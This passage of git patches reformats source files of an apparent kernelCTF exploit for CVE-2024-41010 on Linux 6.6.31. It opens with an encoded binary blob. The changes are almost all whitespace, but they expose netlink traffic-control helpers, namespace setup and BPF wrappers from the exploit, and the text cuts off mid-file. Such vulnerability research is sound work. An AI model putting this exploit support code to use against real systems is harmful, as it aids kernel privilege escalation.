z_?UJ%Uf{Cc0*yP{>ueYPxq>h4oacf!2tA{PJxc^%#^-K<%W>dop=XTHvsUn>o>v7f z^Wi!I%9jAaL2gE){yl3H@^f zF73He=#lpST;S5qRRWj&ZiB#O+_r0+{3;dpydn6q-p>Ut+ws(a5Jn+AW%!u5ovCqW z9!?avv?nfbss9e4|6HN}9>M<)fj=Yo=Lwu&zQH-!Bj@p*LXWKXA41RhLeH^-aDqa5 z9>mA^TP$#?CnWHtf?uO?irdcweuLmkJ8u{K@q&N13;zMZzd-Oi1z*PhO@Tio`0oo` z=GD<2kWeTN(%({nOa0R{PX127$HZ-(;7fl~0+;&l6nX+e&w~P=DDbC+9+}Tu1^%$$ zZx?zd3H)`zmwG-HxU}<>dc2c{NDvGnY zC}fWumxc*k=I2-!e38b<{&IYbU)KwKvcPSjN4D>MfGBJJ$DIQ*1J*QlK(f2Q@s_U-j4@TL9t3w*WUuMv8}0)Ir{vR^zU^vHg< zQQ$J4UlF*pXAs?#L?M4K#>d2SsKBQR{B(^|{AInP1pgAjpD6fu3Op+K(*%Bv;7k2C z3jU>nzf$1S1-@SBk@dbNaM_M~1TN!qSm>AeaM}=5hC*?WaV{13Be-Vb8P+((d4|Ae zy6|fSf2QDH>%wmn{8@s3rwji-1)pw-89SeG;cplG%LM;*7yhS$KU?s>bm1R+0!Szn zAF@X;`>hi-PH~p;EOGG9z;!C)T=+8_{1QdC=D6_Vf1V` z_*V(O?AP}T{*{9NJHeOwpB4P+g8#DM-z4x|0+)Ur6nbR8E}$P9P@M7c3tZ-5K;smj ztMD;-GF9;ZL*Q2kenjBaf-mEf68x(Lf0f|N_^cNEO2L2Bg}+_!WuEL8d^x@y7PyS( zkLacz3dLbQJ|+&Q3;f3dAFFYSv-G!0;5P|=T;Q_ahlKtr!QUkKj|%)%fj=hj_k^Bm zf%iWdCn#j+x=wC1R($1{{zhCh82)s_<9|&CP@q$Bz;!Gb?uGR+z z->c8pIB@ek{ZJ;CGj4SwO`td+rQB?yTLaT=~{!!y-5#ACX!Ot%0^9A+kBK&Lgc(^gO zREtL!M)3a=zyoRj|HTUx?KzLIR7 zg88>&Iy?&>!fDQyWs;*_bIn=*Ik-SN|6k?(kR_cZ_{d`Fr+!TZ}ERxSL{7aNs_w$_&DP~7Z~X*#z&TK z3e_3KR~A#h`L4!Ab1Zph4VP!#$4+hvm&h(>{0g Date: Wed, 21 Aug 2024 16:53:43 -0300 Subject: [PATCH 05/12] CVE-2024-41010 adjust stability metrics --- pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json index 280e810b..da28a50e 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json @@ -28,7 +28,7 @@ "userns" ], "requires_seperate_kaslr_leak":false, - "stability_notes":"5-60% depending on the environment" + "stability_notes":"20-90~% depending on the environment" } ] } From 79bbdd2dbe3d8d1966f7dbdcc605b4adfc891f38 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:06:32 -0300 Subject: [PATCH 06/12] CVE-2024-41010 format exploit.c --- .../kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c index 0227bcfa..78cfc2ff 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c @@ -296,10 +296,10 @@ int main(void) unsigned int link_id; struct rlimit rlim; - getrlimit(RLIMIT_NOFILE,&rlim); + getrlimit(RLIMIT_NOFILE, &rlim); if (rlim.rlim_cur < 4096) rlim.rlim_cur = 4096; - if(setrlimit(RLIMIT_NOFILE,&rlim)<0) + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) perror("[-] setrlimit"); setvbuf(stdin, 0, 2, 0); From 928a569030ab6d5e21c149a9f1594677df313f89 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:15:26 -0300 Subject: [PATCH 07/12] CVE-2024-41010 format cls.c --- .../exploit/lts-6.6.31/src/cls.c | 139 +++++++++--------- 1 file changed, 70 insertions(+), 69 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c index 3dff6847..5d4d7049 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c @@ -29,7 +29,7 @@ /** * start_echo_sv(): starting the TCP server for sending and receiving network package -*/ + */ void start_echo_sv() { int sfd = 0, sock = 0, r = 0, n = 0; @@ -115,8 +115,9 @@ void rt_addfilter(int sock, unsigned int link_id, unsigned int parent, unsigned /* prepare asociated attribute */ tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); tca = set_str_attr(tca, TCA_KIND, kind); - if (chain != 0){ - tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); + if (chain != 0) + { + tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); } tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options @@ -131,7 +132,8 @@ void rt_addfilter(int sock, unsigned int link_id, unsigned int parent, unsigned msg.msg_iov = iov; msg.msg_iovlen = 1; - if(sendmsg(sock, &msg, 0) < 0){ + if (sendmsg(sock, &msg, 0) < 0) + { perror("[-] sendmsg"); } @@ -176,7 +178,7 @@ void rt_getfilter(int sock, unsigned int link_id, unsigned int handle, void *buf prio = 1; proto = 0x300; t->tcm_info = (prio << 16) | (proto); - t->tcm_parent = 0x10000; + t->tcm_parent = 0x10000; t->tcm_handle = handle; t->tcm_ifindex = link_id; @@ -185,7 +187,6 @@ void rt_getfilter(int sock, unsigned int link_id, unsigned int handle, void *buf /* prepare asociated attribute */ tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); - /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh; @@ -214,7 +215,6 @@ void rt_getfilter(int sock, unsigned int link_id, unsigned int handle, void *buf /* Free used structures */ free(nlh); - } /** @@ -328,7 +328,7 @@ void rt_setfilter(int sock, unsigned int link_id, char *kind) tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); tca = set_str_attr(tca, TCA_KIND, kind); set_u32_attr(tca, TCA_CHAIN, 7); - tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); @@ -348,10 +348,10 @@ void rt_setfilter(int sock, unsigned int link_id, char *kind) } /** - * rt_getlink(): get link information + * rt_getlink(): get link information * @sock: socket bound to the route table netlink * @link_name: name of the link (eth0, enp0s33, lo, tunl0, etc) -*/ + */ int rt_getlink(int sock, char *link_name) { struct msghdr msg; @@ -425,10 +425,10 @@ int rt_getlink(int sock, char *link_name) } /** - * rt_newlink(): create new link + * rt_newlink(): create new link * @sock: socket bound to the route table netlink * @link_name: name of the new link, maximum size is 16 -*/ + */ void rt_newlink(int sock, char *link_name, unsigned int index) { struct msghdr msg; @@ -491,10 +491,10 @@ void rt_newlink(int sock, char *link_name, unsigned int index) } /** - * rt_dellink(): delete the exist link + * rt_dellink(): delete the exist link * @sock: socket bound to the route table netlink * @link_name: name of the new link, maximum size is 16 -*/ + */ void rt_dellink(int sock, char *link_name) { struct msghdr msg; @@ -553,10 +553,10 @@ void rt_dellink(int sock, char *link_name) } /** - * rt_setlink(): set the exist link + * rt_setlink(): set the exist link * @sock: socket bound to the route table netlink * @link_id: identify link -*/ + */ void rt_setlink(int sock, unsigned int link_id) { @@ -570,7 +570,6 @@ void rt_setlink(int sock, unsigned int link_id) char buf_recv[BUF_SIZE]; char mac_addr[7] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x00}; - /* Destination preparation */ memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); dest_snl.nl_family = AF_NETLINK; @@ -621,7 +620,7 @@ void rt_setlink(int sock, unsigned int link_id) * @sock: socket bound to the route table netlink * @link_id: identify link * @hanle: qdisc handle -*/ + */ void rt_newqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned int parent, char *kind) { struct msghdr msg; @@ -638,7 +637,8 @@ void rt_newqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned i /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); - if (!nlh) { + if (!nlh) + { errout("rt_newqdisc malloc"); } @@ -694,7 +694,8 @@ void rt_delqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned i /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(QDISC_SIZE); - if (!nlh) { + if (!nlh) + { errout("rt_newqdisc malloc"); } @@ -736,7 +737,7 @@ void rt_delqdisc(int sock, unsigned int link_id, unsigned int handle, unsigned i * rt_getclass(): get class * @sock: socket bound to the route table netlink * @link_id: identify link -*/ + */ void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) { struct msghdr msg; @@ -753,7 +754,8 @@ void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned i /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(ADD_CLASS); - if (!nlh) { + if (!nlh) + { errout("[rt_getclass] malloc(ADD_CLASS)"); } @@ -769,7 +771,7 @@ void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned i tcm->tcm_ifindex = link_id; tcm->tcm_family = AF_INET; tcm->tcm_parent = parent; - tcm->tcm_handle = handle; + tcm->tcm_handle = handle; /* prepare asociated attribute */ tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); @@ -795,8 +797,8 @@ void rt_getclass(int sock, unsigned int link_id, unsigned int handle, unsigned i * rt_addclass(): add class * @sock: socket bound to the route table netlink * @link_id: identify link - * @handle: idenfity class -*/ + * @handle: idenfity class + */ void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) { struct msghdr msg; @@ -814,7 +816,8 @@ void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned i /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(ADD_CLASS); - if (!nlh) { + if (!nlh) + { errout("rt_addclass malloc"); } @@ -834,7 +837,7 @@ void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned i /* prepare asociated attribute */ tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); - tca = set_nested_attr(tca, TCA_OPTIONS, sizeof(struct nlattr)*2 + 2); + tca = set_nested_attr(tca, TCA_OPTIONS, sizeof(struct nlattr) * 2 + 2); tca = set_u32_attr(tca, TCA_DRR_QUANTUM, 1337); /* IOV preparation */ @@ -858,8 +861,8 @@ void rt_addclass(int sock, unsigned int link_id, unsigned int handle, unsigned i * rt_delclass(): delte existing class * @sock: socket bound to the route table netlink * @link_id: identify link - * @handle: idenfity class -*/ + * @handle: idenfity class + */ void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned int parent) { struct msghdr msg; @@ -877,7 +880,8 @@ void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned i /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(ADD_CLASS); - if (!nlh) { + if (!nlh) + { errout("rt_delclass malloc"); } @@ -898,8 +902,6 @@ void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned i /* prepare asociated attribute */ tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); - - /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh; @@ -921,7 +923,7 @@ void rt_delclass(int sock, unsigned int link_id, unsigned int handle, unsigned i * inet_dumpaddr(): get the information of the link network * @sock: socket bound to the route table netlink * @link_id: identify link -*/ + */ void inet_dumpaddr(int sock, unsigned int link_id) { struct msghdr msg; @@ -974,7 +976,8 @@ void inet_dumpaddr(int sock, unsigned int link_id) msg.msg_iovlen = 1; err = sendmsg(sock, &msg, 0); - if (!err) { + if (!err) + { errout("sendmsg"); } @@ -991,7 +994,7 @@ void inet_dumpaddr(int sock, unsigned int link_id) if (ret == -1) errout("recvmsg"); - int ip = *(int *)(buf_recv+0x1c); + int ip = *(int *)(buf_recv + 0x1c); bytes[0] = ip & 0xFF; bytes[1] = (ip >> 8) & 0xFF; bytes[2] = (ip >> 16) & 0xFF; @@ -1006,7 +1009,7 @@ void inet_dumpaddr(int sock, unsigned int link_id) * @sock: socket bound to the route table netlink * @link_id: identify link * @ip: new ip address in heximal -*/ + */ void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) { struct msghdr msg; @@ -1046,7 +1049,7 @@ void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int char label[32]; snprintf(label, 32, "lo-%i", prio); tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifaddrmsg)); - tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff+prio-1024); + tb = set_u32_attr(tb, IFA_BROADCAST, 0x6b1019ff + prio - 1024); tb = set_u32_attr(tb, IFA_LOCAL, ip); tb = set_u32_attr_nat(tb, IFA_RT_PRIORITY, prio); tb = set_str_attr(tb, IFA_LABEL, label); @@ -1063,7 +1066,8 @@ void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int msg.msg_iovlen = 1; err = sendmsg(sock, &msg, 0); - if (!err) { + if (!err) + { errout("sendmsg"); } @@ -1076,7 +1080,7 @@ void inet_newaddr(int sock, unsigned int link_id, unsigned int ip, unsigned int * @sock: socket bound to the route table netlink * @link_id: identify link * @ip: new ip address in heximal -*/ + */ void inet_deladdr(int sock, unsigned int link_id, unsigned int ip, unsigned int prio) { struct msghdr msg; @@ -1133,7 +1137,8 @@ void inet_deladdr(int sock, unsigned int link_id, unsigned int ip, unsigned int msg.msg_iovlen = 1; err = sendmsg(sock, &msg, 0); - if (!err) { + if (!err) + { errout("sendmsg"); } @@ -1142,9 +1147,9 @@ void inet_deladdr(int sock, unsigned int link_id, unsigned int ip, unsigned int } /** - * rt_addroute(): add routing table + * rt_addroute(): add routing table * @sock: socket bound to the route table netlink -*/ + */ void rt_addroute(int sock) { struct msghdr msg; @@ -1184,7 +1189,7 @@ void rt_addroute(int sock) /* prepare asociated attribute */ attr = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); - via = (struct rtvia*)malloc(sizeof(struct rtvia) + 4); + via = (struct rtvia *)malloc(sizeof(struct rtvia) + 4); via->rtvia_family = AF_INET; via->rtvia_addr[0] = 0x6b; // 0x6b10190c @@ -1196,8 +1201,6 @@ void rt_addroute(int sock) attr = set_u32_attr(attr, RTA_GATEWAY, ADDR_GW); attr = set_u32_attr(attr, RTA_DST, ADDR_SERVER); - - /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh; @@ -1210,7 +1213,8 @@ void rt_addroute(int sock) msg.msg_iovlen = 1; err = sendmsg(sock, &msg, 0); - if (!err) { + if (!err) + { errout("sendmsg"); } @@ -1220,12 +1224,12 @@ void rt_addroute(int sock) /** * rt_addaltname() -*/ + */ #ifndef RTM_NEWLINKPROP #define RTM_NEWLINKPROP 108 #endif -#define IFLA_PROP_LIST (52|NLA_F_NESTED) +#define IFLA_PROP_LIST (52 | NLA_F_NESTED) #define IFLA_ALT_IFNAME 53 // void rt_altifname(int sock, unsigned int link_id, char *name) // { @@ -1298,12 +1302,12 @@ void rt_altifname(int sock, unsigned int link_id, char *name, int len) memset(&msg, 0, sizeof(msg)); /* route table netlink table message preparation */ - nlh = (struct nlmsghdr *)malloc(LINK_PROP_SIZE*10); + nlh = (struct nlmsghdr *)malloc(LINK_PROP_SIZE * 10); if (!nlh) errout("rt_newlink malloc"); - memset(nlh, 0, LINK_PROP_SIZE*10); - nlh->nlmsg_len = LINK_PROP_SIZE*10-216; + memset(nlh, 0, LINK_PROP_SIZE * 10); + nlh->nlmsg_len = LINK_PROP_SIZE * 10 - 216; nlh->nlmsg_type = RTM_NEWLINKPROP; // rtnl_newlink nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag @@ -1343,11 +1347,10 @@ void rt_altifname(int sock, unsigned int link_id, char *name, int len) free(nlh); } - /** * rt_cloneroute(): nothing, not developing * @sock: socket bound to the route table netlink -*/ + */ void rt_cloneroute(int sock, unsigned int link_id) { struct msghdr msg; @@ -1373,7 +1376,7 @@ void rt_cloneroute(int sock, unsigned int link_id) nlh->nlmsg_len = ADD_ROUTE; nlh->nlmsg_type = RTM_GETROUTE; // inet_dump_fib nlh->nlmsg_pid = getpid(); - nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; /* route table data */ @@ -1381,7 +1384,6 @@ void rt_cloneroute(int sock, unsigned int link_id) rtm->rtm_flags = RTM_F_CLONED; rtm->rtm_family = AF_INET; - /* prepare asociated attribute */ tb = (void *)rtm + NLMSG_ALIGN(sizeof(struct rtmsg)); tb = set_u32_attr(tb, RTA_OIF, link_id); @@ -1399,7 +1401,8 @@ void rt_cloneroute(int sock, unsigned int link_id) msg.msg_iovlen = 1; err = sendmsg(sock, &msg, 0); - if (!err) { + if (!err) + { errout("sendmsg"); } @@ -1423,7 +1426,7 @@ void rt_cloneroute(int sock, unsigned int link_id) } /** - * rt_newchain(): add chain in queueing discipline + * rt_newchain(): add chain in queueing discipline * @sock: socket bound to the route table netlink * @link_id: link_id * @chain_id: chain_id @@ -1444,7 +1447,8 @@ void rt_newchain(int sock, unsigned int link_id, unsigned int chain_id, unsigned /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(ADD_CLASS); - if (!nlh) { + if (!nlh) + { errout("rt_delchain malloc"); } @@ -1458,15 +1462,14 @@ void rt_newchain(int sock, unsigned int link_id, unsigned int chain_id, unsigned /* route table data */ // Attribute failed policy validation tcm = NLMSG_DATA(nlh); - tcm->tcm_ifindex = link_id; + tcm->tcm_ifindex = link_id; tcm->tcm_family = AF_INET; - tcm->tcm_parent = parent; + tcm->tcm_parent = parent; /* prepare asociated attribute */ tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); tca = set_u32_attr(tca, TCA_CHAIN, chain_id); - /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh; @@ -1485,9 +1488,9 @@ void rt_newchain(int sock, unsigned int link_id, unsigned int chain_id, unsigned } /** - * rt_delchain(): delete the chain in queueing discipline + * rt_delchain(): delete the chain in queueing discipline * @sock: socket bound to the route table netlink - * @link_id: idendify link + * @link_id: idendify link */ void rt_delchain(int sock, unsigned int link_id, unsigned int parent) { @@ -1498,7 +1501,6 @@ void rt_delchain(int sock, unsigned int link_id, unsigned int parent) struct nlattr *tca; struct tcmsg *tcm; - // printf("[+] rt_delchain with link_id: 0x%x\n", link_id); /* Destination preparation */ memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); @@ -1507,7 +1509,8 @@ void rt_delchain(int sock, unsigned int link_id, unsigned int parent) /* route table netlink table message preparation */ nlh = (struct nlmsghdr *)malloc(ADD_CLASS); - if (!nlh) { + if (!nlh) + { errout("rt_delchain malloc"); } @@ -1520,15 +1523,13 @@ void rt_delchain(int sock, unsigned int link_id, unsigned int parent) /* route table data */ tcm = NLMSG_DATA(nlh); - tcm->tcm_ifindex = link_id; + tcm->tcm_ifindex = link_id; tcm->tcm_family = AF_INET; - tcm->tcm_parent = parent; + tcm->tcm_parent = parent; /* prepare asociated attribute */ tca = (void *)tcm + NLMSG_ALIGN(sizeof(struct tcmsg)); - - /* IOV preparation */ memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh; From 76052234733acae39ab78b7c08fba3f0b437373b Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:28:22 -0300 Subject: [PATCH 08/12] CVE-2024-41010 format log.c --- .../kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c index 095a386f..7f36caf3 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/log.c @@ -4,7 +4,8 @@ #include #include -void debug(void){ +void debug(void) +{ getchar(); } From d9e4a4bd5d3518b6347b3a01e343404512aa43de Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:36:37 -0300 Subject: [PATCH 09/12] CVE-2024-41010 format rtnetlink.c --- .../exploit/lts-6.6.31/src/rtnetlink.c | 49 +++++++++++-------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c index 63ca0248..936eeffe 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/rtnetlink.c @@ -20,30 +20,33 @@ * @type: Type of the attribute * @name: Buffer to copy into the attribute */ -struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, char *name){ - int len = 8+sizeof(struct nlattr); +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, char *name) +{ + int len = 8 + sizeof(struct nlattr); attr->nla_type = type; attr->nla_len = 8; memcpy(NLA_ATTR(attr), name, len); - return (void*)attr + NLA_ALIGN(len) + sizeof(struct nlattr); + return (void *)attr + NLA_ALIGN(len) + sizeof(struct nlattr); } -struct nlattr *set_str_attr(struct nlattr *attr, uint16_t type, char *name){ - int len = strlen(name)+sizeof(struct nlattr); +struct nlattr *set_str_attr(struct nlattr *attr, uint16_t type, char *name) +{ + int len = strlen(name) + sizeof(struct nlattr); attr->nla_type = type; attr->nla_len = len; memcpy(NLA_ATTR(attr), name, len); - return (void*)attr + NLA_ALIGN(len); + return (void *)attr + NLA_ALIGN(len); } -struct nlattr *set_strn_attr(struct nlattr *attr, uint16_t type, char *name, int len){ +struct nlattr *set_strn_attr(struct nlattr *attr, uint16_t type, char *name, int len) +{ attr->nla_type = type; attr->nla_len = len; memcpy(NLA_ATTR(attr), name, len); - return (void*)attr + NLA_ALIGN(len); + return (void *)attr + NLA_ALIGN(len); } /** @@ -53,7 +56,8 @@ struct nlattr *set_strn_attr(struct nlattr *attr, uint16_t type, char *name, int * @buffer: Buffer with data to send * @buffer_size: Size of the previous buffer */ -struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) { +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) +{ attr->nla_type = type; attr->nla_len = NLA_BIN_SIZE(buffer_size); memcpy(NLA_ATTR(attr), buffer, buffer_size); @@ -67,7 +71,8 @@ struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buff * @type: Type of the nested attribute * @data_len: Length of the nested attribute */ -struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) { +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) +{ attr->nla_type = type; attr->nla_len = (data_len + sizeof(struct nlattr)); return (void *)attr + sizeof(struct nlattr); @@ -79,14 +84,16 @@ struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data * @type: Type of the attribute * @value: Value of this attribute */ -struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) { +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) +{ attr->nla_type = type; attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); *(uint32_t *)NLA_ATTR(attr) = htonl(value); return (void *)attr + sizeof(uint32_t) + sizeof(struct nlattr); } -struct nlattr *set_u32_attr_nat(struct nlattr *attr, uint16_t type, uint32_t value) { +struct nlattr *set_u32_attr_nat(struct nlattr *attr, uint16_t type, uint32_t value) +{ attr->nla_type = type; attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); *(uint32_t *)NLA_ATTR(attr) = value; @@ -100,7 +107,8 @@ struct nlattr *set_u32_attr_nat(struct nlattr *attr, uint16_t type, uint32_t val * @type: Type of the attribute * @value: Value of this attribute */ -struct nlattr *set_u16_attr(struct nlattr *attr, uint16_t type, uint16_t value) { +struct nlattr *set_u16_attr(struct nlattr *attr, uint16_t type, uint16_t value) +{ attr->nla_type = type; attr->nla_len = NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr)); *(uint16_t *)NLA_ATTR(attr) = (value); @@ -114,7 +122,8 @@ struct nlattr *set_u16_attr(struct nlattr *attr, uint16_t type, uint16_t value) * @type: Type of the attribute * @value: Value of this attribute */ -struct nlattr *set_u8_attr(struct nlattr *attr, uint16_t type, uint8_t value) { +struct nlattr *set_u8_attr(struct nlattr *attr, uint16_t type, uint8_t value) +{ attr->nla_type = type; attr->nla_len = NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); *(uint8_t *)NLA_ATTR(attr) = value; @@ -122,14 +131,14 @@ struct nlattr *set_u8_attr(struct nlattr *attr, uint16_t type, uint8_t value) { return (void *)attr + NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); } - - /** +/** * set_u64_attr(): Prepare a 64 bits integer netlink attribute * @attr: Attribute to fill * @type: Type of the attribute * @value: Value of this attribute */ -struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) { +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) +{ attr->nla_type = type; attr->nla_len = sizeof(uint64_t) + sizeof(struct nlattr); *(uint64_t *)NLA_ATTR(attr) = htobe64(value); @@ -137,14 +146,14 @@ struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) return (void *)attr + sizeof(uint64_t) + sizeof(struct nlattr); } - - /** +/** * set_flag_attr(): Prepare a flag doesn't need data integer netlink attribute * @attr: Attribute to fill * @type: Type of the attribute * @value: Value of this attribute */ -struct nlattr *set_flag_attr(struct nlattr *attr, uint16_t type) { +struct nlattr *set_flag_attr(struct nlattr *attr, uint16_t type) +{ attr->nla_type = type; attr->nla_len = sizeof(struct nlattr); // *(uint64_t *)NLA_ATTR(attr) = htobe64(value); From 06c7cb815e5834ad25f3521bfc5eea4e44026cca Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:41:17 -0300 Subject: [PATCH 10/12] CVE-2024-41010 format setup.c --- .../CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c index d4aab7ae..dd0a8c1e 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c @@ -14,8 +14,8 @@ /** * assign_to_core(): set the program running in the one cpu - * @core_id: core using -*/ + * @core_id: core using + */ void assign_to_core(int core_id) { cpu_set_t mask; @@ -28,8 +28,8 @@ void assign_to_core(int core_id) } /** - * setup_sandbox(): create new network namespace and new user for enable CAP_NET_ADMIN -*/ + * setup_sandbox(): create new network namespace and new user for enable CAP_NET_ADMIN + */ int setup_sandbox(void) { struct rlimit fdlim; @@ -58,5 +58,3 @@ int setup_sandbox(void) return 0; } - - From 5b046095c243624efc18740b64e32f686132788c Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:46:14 -0300 Subject: [PATCH 11/12] CVE-2024-41010 format bpf.c --- .../exploit/lts-6.6.31/src/bpf.c | 45 ++++++++++--------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c index 683b9706..d1c5ba2a 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c @@ -2,40 +2,43 @@ #include #include "bpf.h" -int bpf(int cmd, union bpf_attr *attrs) { +int bpf(int cmd, union bpf_attr *attrs) +{ return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } -int map_create(int val_size, int 